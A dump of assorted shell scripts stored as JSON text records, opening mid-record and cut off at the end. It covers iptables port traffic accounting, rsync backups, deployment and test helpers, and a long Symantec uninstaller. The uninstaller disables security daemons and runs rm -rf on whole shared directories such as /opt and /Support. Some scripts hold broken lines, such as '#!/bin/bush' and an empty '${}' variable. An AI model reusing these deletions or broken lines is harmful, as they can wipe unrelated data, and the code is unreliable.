\"Chain INPUT \" | cut -d ':' -f 1 `\n#获取output这一块的行数\noutputStartRow=`iptables -L -nvx | grep -n \"Chain OUTPUT \" | cut -d ':' -f 1 `\n#获取结束的行数\nendRows=`cat /root/flowListen/tmp.txt | grep -n \"^$\" | cut -d ':' -f 1`\n\nthisMonth=`date +%y%m`\n#thisWeek=`date +%y%V`\nthisDay=`date +%y%m%d`\n\n\n##根据shadowsocksR的配置文件检查和添加监听端口\n\n\n\n#声明一个portlist的关联数组,方便之后的判断\ndeclare -A portlistArray_INPUT_tcp\ndeclare -A portlistArray_INPUT_udp\ndeclare -A portlistArray_OUTPUT_tcp\ndeclare -A portlistArray_OUTPUT_udp\n\n#给关联数组赋初始值\nfor avar in $portlist\ndo\n\tportlistArray_INPUT_tcp[${avar}]=NOLISTEN\t\n\tportlistArray_INPUT_udp[${avar}]=NOLISTEN\t\n\tportlistArray_OUTPUT_tcp[${avar}]=NOLISTEN\t\n\tportlistArray_OUTPUT_udp[${avar}]=NOLISTEN\t\ndone\n\n#获取input和output的结束的行\nfor var in $endRows\ndo\n\tif [ $inputStartRow -lt $var ];then\n\t\tinputEndRow=$(($var-1))\n\t\tbreak;\n\tfi\ndone\nfor var in $endRows\ndo\n\tif [ $outputStartRow -lt $var ];then\n\t\toutputEndRow=$(($var-1))\n\t\tbreak;\n\tfi\ndone\n\n#一行一行的搜索,标记目前已经在监听的端口\n\nfor((i=$outputStartRow; i<=$outputEndRow ; i=i+1))\ndo\n\t\n\tfor var in $portlist\n\tdo\n\t\toutputTarget_tcp=`cat /root/flowListen/tmp.txt | sed -n \"$i p\" | grep \"tcp spt:$var\"`\n\t\tif [ \"$outputTarget_tcp\" != \"\" ];then\n\t\t\tportlistArray_OUTPUT_tcp[${var}]=LISTEN\n\t\t#\techo \"port $var is LISTEN output tcp\"\n\t\tfi\n\t\t\t\n\t\toutputTarget_udp=`cat /root/flowListen/tmp.txt | sed -n \"$i p\" | grep \"udp spt:$var\"`\n\t\tif [ \"$outputTarget_udp\" != \"\" ];then\n\t\t\tportlistArray_OUTPUT_udp[${var}]=LISTEN\n\t\t#\techo \"port $var is LISTEN output udp\"\n\t\tfi\n\tdone\n\t\n\ndone\n\nfor((i=$inputStartRow; i<=$inputEndRow ; i=i+1))\ndo\n\t\n\tfor var in $portlist\n\tdo\n\t\tinputTarget_tcp=`cat /root/flowListen/tmp.txt | sed -n \"$i p\" | grep \"tcp dpt:$var\"`\n\t\tif [ \"$inputTarget_tcp\" != \"\" ];then\n\t\t\tportlistArray_INPUT_tcp[${var}]=LISTEN\n\t\t#\techo \"port $var is LISTEN input tcp\"\n\t\tfi\n\t\t\t\n\t\tinputTarget_udp=`cat /root/flowListen/tmp.txt | sed -n \"$i p\" | grep \"udp dpt:$var\"`\n\t\tif [ \"$inputTarget_udp\" != \"\" ];then\n\t\t\tportlistArray_INPUT_udp[${var}]=LISTEN\n\t\t#\techo \"port $var is LISTEN input udp\"\n\t\tfi\n\tdone\n\t\n\ndone\n\n#对未被标记的端口进行监听\nfor bvar in ${!portlistArray_INPUT_tcp[*]}\ndo\n\tif [ \"${portlistArray_INPUT_tcp[$bvar]}\" == \"NOLISTEN\" ];then\n\t\t`iptables -A INPUT -p tcp --dport $bvar`\n\tfi\ndone\nfor bvar in ${!portlistArray_INPUT_udp[*]}\ndo\n\tif [ \"${portlistArray_INPUT_udp[$bvar]}\" == \"NOLISTEN\" ];then\n\t\t`iptables -A INPUT -p udp --dport $bvar`\n\tfi\ndone\nfor bvar in ${!portlistArray_OUTPUT_tcp[*]}\ndo\n\tif [ \"${portlistArray_OUTPUT_tcp[$bvar]}\" == \"NOLISTEN\" ];then\n\t\t`iptables -A OUTPUT -p tcp --sport $bvar`\n\tfi\ndone\nfor bvar in ${!portlistArray_OUTPUT_udp[*]}\ndo\n\tif [ \"${portlistArray_OUTPUT_udp[$bvar]}\" == \"NOLISTEN\" ];then\n\t\t`iptables -A OUTPUT -p udp --sport $bvar`\n\tfi\ndone\n\n\n#流量统计\n\n`rm -f _nowlog.txt`\nfor var in $portlist\ndo\n\toutputFlow_tcp=`cat /root/flowListen/tmp.txt | sed -n \"$outputStartRow,$outputEndRow p\" | grep \"tcp spt:$var\" | awk '{print $2 }'`\n\techo $outputFlow_tcp\n\techo `date +%Y/%m/%d_%T` port:$var $outputFlow_tcp >> /root/flowListen/${thisDay}_daylog.txt\n\n\techo `date +%Y/%m/%d_%T` port:$var $outputFlow_tcp >> /root/flowListen/_nowlog.txt\n\t\n\t`iptables -Z OUTPUT`\ndone\n\necho -e '' >> /root/flowListen/${thisDay}_daylog.txt"} {"text": "neocod2020/javarush-telegrambot0\n#!/bin/bush\n\n# Enshure that docker-compose stopped\ndocker-compose stopped\n\n# Enshure that old application won't be deployed again\nmvn clean"} {"text": "templates/home/pi/BACKUP_SCRIPT_TO_ZGEMMA_RSYNC.sh\n#!/bin/bash\n# files to backup from this server:\n# nginx setup files:\n# sites-available and sites-enabled\nsudo rsync -rpRogt /etc/nginx/sites-available/ root@192.168.1.180:/mnt/hdd/pi_backups/msata_gateway_pi/\nsudo rsync -rpRogt /etc/nginx/sites-enabled/ root@192.168.1.180:/mnt/hdd/pi_backups/msata_gateway_pi/\n# nginx.conf\nsudo rsync -rpRogt /etc/nginx/nginx.conf root@192.168.1.180:/mnt/hdd/pi_backups/msata_gateway_pi/\n# /usr/share/nginx/html/*\nsudo rsync -rpRogt /usr/share/nginx/html/ root@192.168.1.180:/mnt/hdd/pi_backups/msata_gateway_pi/\n# home directory\nsudo rsync -rpRogt /home/pi/ root@192.168.1.180:/mnt/hdd/pi_backups/msata_gateway_pi/\n# mongoDB files:\nsudo rsync -rpRogt /var/lib/mongodb/ root@192.168.1.180:/mnt/hdd/pi_backups/msata_gateway_pi/\n# services created manually:\nsudo rsync -rpRogt /etc/init.d/testdash root@192.168.1.180:/mnt/hdd/pi_backups/msata_gateway_pi/\n# crontab\nsudo rsync -rpRogt /var/spool/cron/crontabs/pi root@192.168.1.180:/mnt/hdd/pi_backups/msata_gateway_pi/"} {"text": "aws-samples/aws-do-pm\n#!/bin/bash\n\n######################################################################\n# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. #\n# SPDX-License-Identifier: MIT-0 #\n######################################################################\n\nsource .env\n\nfunction usage(){\n\techo \"\"\n\techo \"Usage: $0 [service_name] [local_port_number] - expose a service locally through port forwarding\"\n\techo \"\"\n\techo \" service_name - name of service to expose (ui|grapdb), default: ui\"\n\techo \" local_port_number - local port number to forward to the service port, default: ${PM_UI_PORT_INT}\"\n\techo \"\"\n}\n\nif [ \"$1\" == \"--help\" ]; then\n\tusage\n\texit 0\nfi\n\nif [ \"${QUIET}\" == \"true\" ]; then\n\tVERBOSE=false\nfi\n\nif [ \"${DEBUG}\" == \"true\" ]; then\n set -x\nfi\n\nif [ ! \"$TO\" == \"$PM_TO\" ]; then\n\techo $PM_TO > wd/.to\n\tsource .env\nfi\n\nif [ \"${VERBOSE}\" == \"true\" ]; then\n\techo \"\"\n\techo \"Executing command on orchestrator ${TO} ...\"\nfi\n\ncase \"${TO}\" in\n \"compose\")\n\t\tif [ \"${COMPOSE_CONTEXT_TYPE}\" == \"moby\" ]; then\n\t\t\techo \"\"\n\t\t\techo \"Services are already exposed locally\"\n\t\t\tCMD=\"./status.sh\"\n\t\telif [ \"${COMPOSE_CONTEXT_TYPE}\" == \"ecs\" ]; then\n\t\t\techo \"\"\n\t\t\techo \"Expose of container running on ECS is not supported\"\n\t\t\techo \"\"\n\t\telse\n\t\t\techo \"\"\n\t\t\techo \"Unrecognized COMPOSE_CONTEXT_TYPE ${COMPOSE_CONTEXT_TYPE}\"\n\t\t\techo \"Supported context types are moby | ecs\"\n\t\tfi\n\t\t;;\n\t\"kubernetes\")\n\t\tSERVICE_NAME=$1\n\t\tif [ \"$1\" == \"\" ]; then\n\t\t\tSERVICE_NAME=ui\n\t\tfi\n SERVICE_PORT=$2\n if [ \"$2\" == \"\" ]; then\n SERVICE_PORT=$PM_UI_PORT_INT\n fi\n\t\tif [ \"$SERVICE_NAME\" == \"graphdb\" ]; then\n\t\t\tSERVICE_PORT_INT=$PM_GRAPHDB_PORT_INT\n\t\telif [ \"$SERVICE_NAME\" == \"ui\" ]; then\n\t\t\tSERVICE_PORT_INT=$PM_UI_PORT_INT\n\t\telse\n\t\t\techo \"\"\n\t\t\techo \"Unrecognized service name: $SERVICE_NAME\"\n\t\t\techo \"\"\n\t\tfi\n\t\tCMD=\"kubectl port-forward $(kubectl get pods | grep ${SERVICE_NAME} | head -n 1 | tail -n 1 | cut -d ' ' -f 1 ) ${SERVICE_PORT}:${SERVICE_PORT_INT}\"\n\t\t;;\n\t*)\n\t\techo \"\"\n\t\techo \"Expose operation is not supported for target orchestrator ${TO}\"\n\t\techo \"\"\n\t\tusage\n\t\t;;\nesac\n\nif [ \"${VERBOSE}\" == \"true\" ]; then\n echo \"${CMD}\"\n\techo \"\"\nfi\n\nif [ \"${DRY_RUN}\" == \"false\" ]; then\n eval \"${CMD}\"\nfi\n\nif [ \"${DEBUG}\" == \"true\" ]; then\n set +x\nfi"} {"text": "Little0o0/FedML\n#!/usr/bin/env bash\n\nGPU=$1\n\nCLIENT_NUM=$2\n\nWORKER_NUM=$3\n\nBATCH_SIZE=$4\n\nDATASET=$5\n\nDATA_PATH=$6\n\nMODEL=$7\n\nDISTRIBUTION=$8\n\nROUND=$9\n\nEPOCH=${10}\n\nLR=${11}\n\nWD=${12}\n\nGMF=${13}\n\nMU=${14}\n\nMOMENTUM=${15}\n\nDAMPENING=${16}\n\nWD=${17}\n\nNESTEROV=${18}\n\nCI=${19}\n\npython3 ./main_fednova.py \\\n--gpu $GPU \\\n--dataset $DATASET \\\n--data_dir $DATA_PATH \\\n--model $MODEL \\\n--partition_method $DISTRIBUTION \\\n--client_num_in_total $CLIENT_NUM \\\n--client_num_per_round $WORKER_NUM \\\n--comm_round $ROUND \\\n--epochs $EPOCH \\\n--batch_size $BATCH_SIZE \\\n--lr $LR \\\n--wd $WD \\\n--gmf $GMF \\\n--mu $MU \\\n--momentum $MOMENTUM \\\n--dampening $DAMPENING \\\n--nesterov $NESTEROV \\\n--ci $CI"} {"text": "#!/usr/bin/env bash\n\nset -o errexit\nset -o nounset\nset -o pipefail\n\n# shellcheck source=scripts/config.sh\nsource \"$(dirname \"$0\")/config.sh\"\n\ngo test -v -mod=readonly -cover ./..."} {"text": "scripts/enable_redis.sh\n#!/bin/sh\n\nmkdir -p /srv/var/redis\nmkdir -p /srv/run\ncp /opt/conf/redis.conf /srv/conf/\n\ncat << EOF > /srv/conf/supervisor.d/redis.conf\n[program:redis]\ncommand=redis-server /srv/conf/redis.conf\nautostart=true\nautorestart=true\nstdout_logfile=/srv/log/redis.log\nstdout_logfile_maxbytes=2MB\nstdout_logfile_backups=5\nstdout_capture_maxbytes=2MB\nstdout_events_enabled=false\nredirect_stderr=true\nEOF\n\nsupervisorctl reread\nsupervisorctl update"} {"text": "#!/bin/bash\n\nif command -v podman 2>/dev/null 1>/dev/null\nthen\n oci=\"podman\"\nelif command -v docker 2>/dev/null 1>/dev/null\nthen\n oci=\"docker\"\nelse\n echo \"No docker nor podman was found\" >&2\n exit 2\nfi\n\n$oci run --security-opt seccomp=unconfined \\\n --rm -it \\\n -e BAPI_USERNAME=\"${BAPI_USERNAME}\" \\\n -e BAPI_PASSWORD=\"${}\" \\\n -e BAPI_REMOTE_IMAGE=\"${BAPI_REMOTE_IMAGE}\" \\\n -e BAPI_DOCKERFILE=\"${BAPI_DOCKERFILE}\" \\\n -v \"$PWD:/data:z\" \\\n -w \"/data\" \\\n quay.io/buildah/stable \\\n ./devel/build-and-push-image.sh"} {"text": "#!/bin/bash\n\n# Moderately unsophisticated script to remove all specified SEP AV files and folders\n# Pulled apart from the original Symantec uninstall script\n# Author : richard at richard - purves dot com\n# Version : 1.0 - Initial Version\n# Version : 1.1 - Now unloads launchd plists at the suggestion of Tom Bridge\n# Version : 1.2 - Now forgets installer pkgs at the suggestion of Francois Leveaux-Tiffreau\n\n# Start by setting up the array with all the running launchagents/daemons running\n\nlaunchd=( $(launchctl list | grep -E 'com.norton|com.symantec' | awk '{print $3}' ) )\n\n# Now recursively unload all these\n\n# Calculate the length of the launchd array.\n\ntLen=${#launchd[@]}\n\n# Loop around the array and delete the files/folders.\n\nfor (( i=0; i<${tLen}; i++ ));\ndo\n echo \"Now unloading \"${launchd[$i]}\n launchctl disable ${launchd[$i]}\ndone\n\n# Now set up the array variable to hold all the files and folders we're going to delete\n\ndelete[0]=\"/var/tmp/symantec_error_report\"\ndelete[1]=\"/.com_symantec_symfs_private\"\ndelete[2]=\"/.symSchedScanLockxz\"\ndelete[3]=\"/Applications/Firefox.app/Contents/MacOS/extensions/{0e10f3d7-07f6-4f12-97b9-9b27e07139a5}\"\ndelete[4]=\"/Applications/Firefox.app/Contents/MacOS/extensions/{29dd9c80-9ea1-4aaf-9305-a0314aba24e3}\"\ndelete[5]=\"/Applications/Firefox.app/Contents/MacOS/extensions/\"\ndelete[6]=\"/Applications/GatherSymantecInfo\"\ndelete[7]=\"/Applications/Late Breaking News\"\ndelete[8]=\"/Applications/LiveUpdate\"\ndelete[9]=\"/Applications/LiveUpdate Folder\"\ndelete[10]=\"/Applications/LiveUpdate Folder (OS X)\"\ndelete[11]=\"/Applications/navx\"\ndelete[12]=\"/Applications/Norton\"\ndelete[13]=\"/Applications/Symantec AntiVirus\"\ndelete[14]=\"/Applications/Symantec Cloud Security.app\"\ndelete[15]=\"/Applications/Symantec Endpoint Protection.app\"\ndelete[16]=\"/Applications/Symantec Endpoint Protection Cloud.app\"\ndelete[17]=\"/Applications/Symantec Solutions\"\ndelete[18]=\"/Applications/Symantec Unified Endpoint Protection.app\"\ndelete[19]=\"/Applications/Symantec/LiveUpdate.app\"\ndelete[20]=\"/Applications/Symantec/Read Me Files\"\ndelete[21]=\"/Applications/Symantec\" \ndelete[22]=\"/Applications/Trash Running Daemons\"\ndelete[23]=\"/Applications/uDelete Preferences\"\ndelete[24]=\"/Applications/Register Your Software\"\ndelete[25]=\"/etc/liveupdate.conf\"\ndelete[26]=\"/etc/mach_init.d/SymSharedSettings.plist\"\ndelete[27]=\"/etc/Symantec.conf\"\ndelete[28]=\"/Firewall\" \ndelete[29]=\"/Library/Application Support/NAVDiagnostic.log\"\ndelete[30]=\"/Library/Application Support/NAV.history\"\ndelete[31]=\"/Library/Application Support/nat_\" \ndelete[32]=\"/Library/Application Support/nat_\" \ndelete[33]=\"/Library/Application Support/nav_\" \ndelete[34]=\"/Library/Application Support/nis_\" \ndelete[35]=\"/Library/Application Support/nsm_\" \ndelete[36]=\"/Library/Application Support/Norton Application Aliases\"\ndelete[37]=\"/Library/Application Support/Norton Solutions Support\"\ndelete[38]=\"/Library/Application Support/norton_\" \ndelete[39]=\"/Library/Application Support/o2spy.log\"\ndelete[40]=\"/Library/Application Support/regid.1992-12.com.symantec\" \ndelete[41]=\"/Library/Application Support/Symantec\"\ndelete[42]=\"/Library/Application Support/Symantec_IPUA\"\ndelete[43]=\"/Library/Application Support/symantec_uninstalldashboard\" \ndelete[44]=\"/Library/Application Support/SymRun\"\ndelete[45]=\"/Library/Authenticators/SymAuthenticator.bundle\"\ndelete[46]=\"/Library/CFMSupport/Norton Shared Lib\"\ndelete[47]=\"/Library/CFMSupport/Norton Shared Lib Carbon\"\ndelete[48]=\"/Library/Contextual Menu Items/NAVCMPlugIn.plugin\"\ndelete[49]=\"/Library/Contextual Menu Items/SAVCMPlugIn.plugin\"\ndelete[50]=\"/Library/Contextual Menu Items/SymFileSecurityCM.plugin\"\ndelete[51]=\"/Library/Documentation/Help/LiveUpdate Help\"\ndelete[52]=\"/Library/Documentation/Help/LiveUpdate-Hilfe\"\ndelete[53]=\"/Library/Documentation/Help/Norton AntiVirus Help\"\ndelete[54]=\"/Library/Documentation/Help/Norton AntiVirus-Hilfe\"\ndelete[55]=\"/Library/Documentation/Help/Norton Help\"\ndelete[56]=\"/Library/Documentation/Help/Norton Help Scripts\"\ndelete[57]=\"/Library/Documentation/Help/Norton Help Scripts Folder\"\ndelete[58]=\"/Library/Documentation/Help/Norton Utilities Help\"\ndelete[59]=\"/Library/Extensions/FileSecurity.kext\"\ndelete[60]=\"/Library/Extensions/ndcengine.kext\"\ndelete[61]=\"/Library/Extensions/NortonForMac.kext\"\ndelete[62]=\"/Library/Extensions/SymAPComm.kext\"\ndelete[63]=\"/Library/Extensions/SymFirewall.kext\"\ndelete[64]=\"/Library/Extensions/SymInternetSecurity.kext\"\ndelete[65]=\"/Library/Extensions/SymIPS.kext\"\ndelete[66]=\"/Library/Extensions/SymPersonalFirewall.kext\"\ndelete[67]=\"/Library/Frameworks/mach_inject_bundle.framework\"\ndelete[68]=\"/Library/InputManagers/Norton Confidential for Safari\"\ndelete[69]=\"/Library/InputManagers/Norton Safety Minder\"\ndelete[70]=\"/Library/InputManagers/SymWebKitUtils\"\ndelete[71]=\"/Library/Internet Plug-Ins/Norton Confidential for Safari.plugin\"\ndelete[72]=\"/Library/Internet Plug-Ins/Norton Family Safety.plugin\"\ndelete[73]=\"/Library/Internet Plug-Ins/Norton Safety Minder.plugin\"\ndelete[74]=\"/Library/Internet Plug-Ins/NortonFamilyBF.plugin\"\ndelete[75]=\"/Library/Internet Plug-Ins/NortonInternetSecurityBF.plugin\"\ndelete[76]=\"/Library/Internet Plug-Ins/NortonSafetyMinderBF.plugin\"\ndelete[77]=\"/Library/LaunchDaemons/com.norton*\" \ndelete[78]=\"/Library/LaunchDaemons/com.symantec*\"\ndelete[79]=\"/Library/Plug-ins/DiskImages/NUMPlugin.bundle\"\ndelete[80]=\"/Library/Plug-ins/DiskImages/VRPlugin.bundle\"\ndelete[81]=\"/Library/Plug-ins/DiskImages\" \ndelete[82]=\"/Library/PreferencePanes/APPrefPane.prefPane\"\ndelete[83]=\"/Library/PreferencePanes/FileSaver.prefPane\"\ndelete[84]=\"/Library/PreferencePanes/Norton Family Safety.prefPane\"\ndelete[85]=\"/Library/PreferencePanes/Norton Safety Minder.prefPane\"\ndelete[86]=\"/Library/PreferencePanes/Ribbon.Norton.prefPane\"\ndelete[87]=\"/Library/PreferencePanes/SymantecQuickMenu.prefPane\"\ndelete[88]=\"/Library/PreferencePanes/SymAutoProtect.prefPane\"\ndelete[89]=\"/Library/PrivateFrameworks/NPF.framework\"\ndelete[90]=\"/Library/PrivateFrameworks/NPFCoreServices.framework\"\ndelete[91]=\"/Library/PrivateFrameworks/NPFDataSource.framework\"\ndelete[92]=\"/Library/PrivateFrameworks/PlausibleDatabase.framework\"\ndelete[93]=\"/Library/PrivateFrameworks/SymAppKitAdditions.framework\"\ndelete[94]=\"/Library/PrivateFrameworks/SymAVScan.framework\"\ndelete[95]=\"/Library/PrivateFrameworks/SymBase.framework\"\ndelete[96]=\"/Library/PrivateFrameworks/SymConfidential.framework\"\ndelete[97]=\"/Library/PrivateFrameworks/SymDaemon.framework\"\ndelete[98]=\"/Library/PrivateFrameworks/SymFirewall.framework\"\ndelete[99]=\"/Library/PrivateFrameworks/SymInternetSecurity.framework\"\ndelete[100]=\"/Library/PrivateFrameworks/SymIPS.framework\"\ndelete[101]=\"/Library/PrivateFrameworks/SymIR.framework\"\ndelete[102]=\"/Library/PrivateFrameworks/SymLicensing.framework\"\ndelete[103]=\"/Library/PrivateFrameworks/SymNetworking.framework\"\ndelete[104]=\"/Library/PrivateFrameworks/SymOxygen.framework\"\ndelete[105]=\"/Library/PrivateFrameworks/SymPersonalFirewall.framework\"\ndelete[106]=\"/Library/PrivateFrameworks/SymScheduler.framework\"\ndelete[107]=\"/Library/PrivateFrameworks/SymSEP.framework\"\ndelete[108]=\"/Library/PrivateFrameworks/SymSharedSettings.framework\"\ndelete[109]=\"/Library/PrivateFrameworks/SymSubmission.framework\"\ndelete[110]=\"/Library/PrivateFrameworks/SymSystem.framework\"\ndelete[111]=\"/Library/PrivateFrameworks/SymUIAgent.framework\"\ndelete[112]=\"/Library/PrivateFrameworks/SymUIAgentUI.framework\"\ndelete[113]=\"/Library/PrivateFrameworks/SymWebKitUtils.framework\"\ndelete[114]=\"/Library/PrivateFrameworks/SymWebKitUtils.framework\"\ndelete[115]=\"/Library/PrivilegedHelperTools/com.symantec\" \ndelete[116]=\"/Library/PrivilegedHelperTools/NATRemoteLock.app\"\ndelete[117]=\"/Library/ScriptingAdditions/SymWebKitUtils.osax\"\ndelete[118]=\"/Library/ScriptingAdditions/SymWebKitUtilsSL.osax\"\ndelete[119]=\"/Library/Services/Norton for Mac.service\"\ndelete[120]=\"/Library/Services/ScanService.service\"\ndelete[121]=\"/Library/Services/Symantec\" \ndelete[122]=\"/Library/Services/SymSafeWeb.service\"\ndelete[123]=\"/Library/StartupItems/NortonAutoProtect\"\ndelete[124]=\"/Library/StartupItems/NortonAutoProtect.kextcache\"\ndelete[125]=\"/Library/StartupItems/NortonLastStart\"\ndelete[126]=\"/Library/StartupItems/NortonMissedTasks\"\ndelete[127]=\"/Library/StartupItems/NortonPersonalFirewall\"\ndelete[128]=\"/Library/StartupItems/NortonPrivacyControl\"\ndelete[129]=\"/Library/StartupItems/NUMCompatibilityCheck\"\ndelete[130]=\"/Library/StartupItems/SMC\"\ndelete[131]=\"/Library/StartupItems/SymAutoProtect\"\ndelete[132]=\"/Library/StartupItems/SymAutoProtect.kextcache\"\ndelete[133]=\"/Library/StartupItems/SymDCInit\"\ndelete[134]=\"/Library/StartupItems/SymMissedTasks\"\ndelete[135]=\"/Library/StartupItems/SymProtector\"\ndelete[136]=\"/Library/StartupItems/SymQuickMenuOSFix\"\ndelete[137]=\"/Library/StartupItems/SymWebKitUtilsOSFix\"\ndelete[138]=\"/Library/StartupItems/TrackDelete\"\ndelete[139]=\"/Library/StartupItems/VolumeAssist\"\ndelete[140]=\"/Library/Symantec/tmp\"\ndelete[141]=\"/Library/Symantec\" \ndelete[142]=\"/Library/Widgets/NAV.wdgt\"\ndelete[143]=\"/Library/Widgets/Symantec Alerts.wdgt\"\ndelete[144]=\"/Library/Widgets\" \ndelete[145]=\"/Norton AntiVirus Installer Log\"\ndelete[146]=\"/opt/Symantec\"\ndelete[147]=\"/opt\" \ndelete[148]=\"/Personal\" \ndelete[149]=\"/Solutions\" \ndelete[150]=\"/Support/Norton\" \ndelete[151]=\"/Support\" \ndelete[152]=\"/symaperr.log\"\ndelete[153]=\"/symapout.log\"\ndelete[154]=\"/SymAppKitAdditions.framework\"\ndelete[155]=\"/SymBase.framework\"\ndelete[156]=\"/SymNetworking.framework\"\ndelete[157]=\"/SymSystem.framework\"\ndelete[158]=\"/SystemWorks Installer Log\"\ndelete[159]=\"/Users/dev/bin/smellydecode\"\ndelete[160]=\"/Users/Shared/NAV Corporate\"\ndelete[161]=\"/Users/Shared/NIS Corporate\"\ndelete[162]=\"/Users/Shared/RemoveSymantecMacFilesRemovesThese.txt\"\ndelete[163]=\"/Users/Shared/RemoveSymantecMacFilesLog.txt\"\ndelete[164]=\"/Users/Shared/RemoveSymantecMacFilesRemovesThese.txt\"\ndelete[165]=\"/Users/Shared/RemoveSymantecMacFilesLog.txt\"\ndelete[166]=\"/Users/Shared/SymantecRemovalToolRemovesThese.txt\"\ndelete[167]=\"/Users/Shared/SymantecRemovalToolLog.txt\"\ndelete[168]=\"/usr/bin/nortonscanner\"\ndelete[169]=\"/usr/bin/nortonsettings\"\ndelete[170]=\"/usr/bin/MigrateQTF\"\ndelete[171]=\"/usr/bin/navx\"\ndelete[172]=\"/usr/bin/npfx\"\ndelete[173]=\"/usr/bin/savx\"\ndelete[174]=\"/usr/bin/scfx\"\ndelete[175]=\"/usr/bin/symsched\"\ndelete[176]=\"/usr/lib/libsymsea.*\"\ndelete[177]=\"/usr/lib/libwpsapi.dylib\"\ndelete[178]=\"/usr/local/bin/CoreLocationProviderTest\"\ndelete[179]=\"/usr/local/bin/KeyGenerator\"\ndelete[180]=\"/usr/local/bin/LocationProviderInterfaceTest\"\ndelete[181]=\"/usr/local/bin/LocationProviderTest\"\ndelete[182]=\"/usr/local/bin/MigrateQTF\"\ndelete[183]=\"/usr/local/bin/navx\"\ndelete[184]=\"/usr/local/bin/nortonscanner\"\ndelete[185]=\"/usr/local/bin/nortonsettings\"\ndelete[186]=\"/usr/local/bin/npfx\"\ndelete[187]=\"/usr/local/bin/SkyhookProviderTest\"\ndelete[188]=\"/usr/local/lib/libAPFeature.a\"\ndelete[189]=\"/usr/local/lib/libcx_lib.so\"\ndelete[190]=\"/usr/local/lib/libecomlodr.dylib\"\ndelete[191]=\"/usr/local/lib/libgecko3parsers.dylib\"\ndelete[192]=\"/usr/local/lib/liblux.so.\" \ndelete[193]=\"/usr/local/lib/libnlucallback.dylib\"\ndelete[194]=\"/usr/local/lib/libsymsea.\"\ndelete[195]=\"/usr/share/man/man1/NAVScanIDs.h\"\ndelete[196]=\"/var/log/du.log\" \ndelete[197]=\"/var/log/dulux.log\" \ndelete[198]=\"/var/log/lut.log\" \ndelete[199]=\"/var/log/lux.log\" \ndelete[200]=\"/var/log/luxtool.log\" \ndelete[201]=\"/var/log/mexd.log\" \ndelete[202]=\"/var/log/microdef.log\" \ndelete[203]=\"/var/log/nortondns.log\"\ndelete[204]=\"/var/log/Npfkernel.log.fifo\"\ndelete[205]=\"/var/root/Applications/Norton Internet Security.app\"\ndelete[206]=\"/var/root/Applications\" \ndelete[207]=\"/var/root/Library/Bundles/NAVIR.bundle\"\ndelete[208]=\"/var/root/Library/Bundles\" \ndelete[209]=\"/var/root/Library/Contextual Menu Items/NAVCMPlugIn.plugin\"\ndelete[210]=\"/var/root/Library/Contextual Menu Items\" \ndelete[211]=\"/var/tmp/com.symantec\" \ndelete[212]=\"/var/tmp/com.Symantec\" \n\n# Let's do the deleting!\n\n# Calculate the length of the delete array.\n\ntLen=${#delete[@]}\n\n# Loop around the array and delete the files/folders.\n\nfor (( i=0; i<${tLen}; i++ ));\ndo\n echo \"Now deleting \"${delete[$i]}\n rm -rf ${delete[$i]}\ndone\n\n# Now we have to deal with the user level stuff this leaves behind\n\nls /Users/ | while read USERS ;\ndo \n\tif [ -d /Users/$USERS/Library/Preferences/ ];\n\tthen\n\t\trm -rf \"/Users/$USERS/Applications/LiveUpdate Folder (OS X)\"\n rm -rf \"/Users/$USERS/Applications/Norton AntiVirus (OS X)\"\n\t\trm -rf \"/Users/$USERS/Application Support/Norton\"\n\t\trm -rf \"/Users/$USERS/Library/Application Support/Symantec\"\n\t\trm -rf \"/Users/$USERS/Library/Documentation/Help/Norton Privacy Control Help\"\n\t\trm -rf \"/Users/$USERS/Library/Documentation/Help/Norton Personal Firewall Help\"\n\t\trm -rf \"/Users/$USERS/Library/Caches/com.apple.Safari/Extensions/Norton\"\n\t\trm -rf \"/Users/$USERS/Library/Caches/com.apple.Safari/Extensions/Symantec\"\n\t\trm -rf \"/Users/$USERS/Library/Caches/com.norton\"\n\t\trm -rf \"/Users/$USERS/Library/Caches/com.symantec\"\n\t\trm -rf \"/Users/$USERS/Library/Caches/Norton\"\n\t\trm -rf \"/Users/$USERS/Library/Caches/Symantec\"\n\t\trm -rf \"/Users/$USERS/Library/LaunchAgents/com.symantec*\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/LUTool.txt\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/Norton\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/o2spy.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/Symantec\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymAPErr.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymAPOut.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymBfw_NFM.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymCommP\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymDebugLeaks.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymDeepsight\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymFWDeepSightTrie.txt\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymFWLog.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymFWRules.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymHTTPSubmissions.txt\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymInstall\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymOxygen\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymQual\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymScanServerDaemon.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymSharedSettingsd.log\"\n\t\trm -rf \"/Users/$USERS/Library/Logs/SymUninstall\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/ByHost/com.symantec*\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/com.norton*\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/com.symantec*\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/LiveUpdate Preferences\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/LU Admin Preferences\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/LU Host Admin.plist\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/NAV8.0.003.plist\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/Network/com.symantec*\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/Norton AntiVirus Prefs Folder\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/Norton Application Aliases\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/Norton Personal Firewall Log\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/Norton Scheduler OS 